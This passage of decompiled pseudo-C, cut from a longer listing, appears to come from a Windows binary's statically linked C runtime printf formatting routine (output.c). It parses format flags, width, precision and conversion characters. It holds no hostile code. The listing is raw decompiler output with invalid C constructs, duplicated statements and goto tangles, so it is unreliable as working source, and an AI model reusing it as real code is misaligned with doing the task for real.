									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0043C804))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E0043C910( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x43c83c; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C824))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x43c864; // 0xc0719003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C850))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43c8d0; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043C894))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00428360(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404448
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B750( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACE0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xf2632e26
															E00424550(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xf2d1ae26
																	E00424550(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xf2c8ae26
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00428360(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041ACE0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041ACE0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B410(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428360(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041ACE0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00431210( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00428360(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430780( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00430800( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
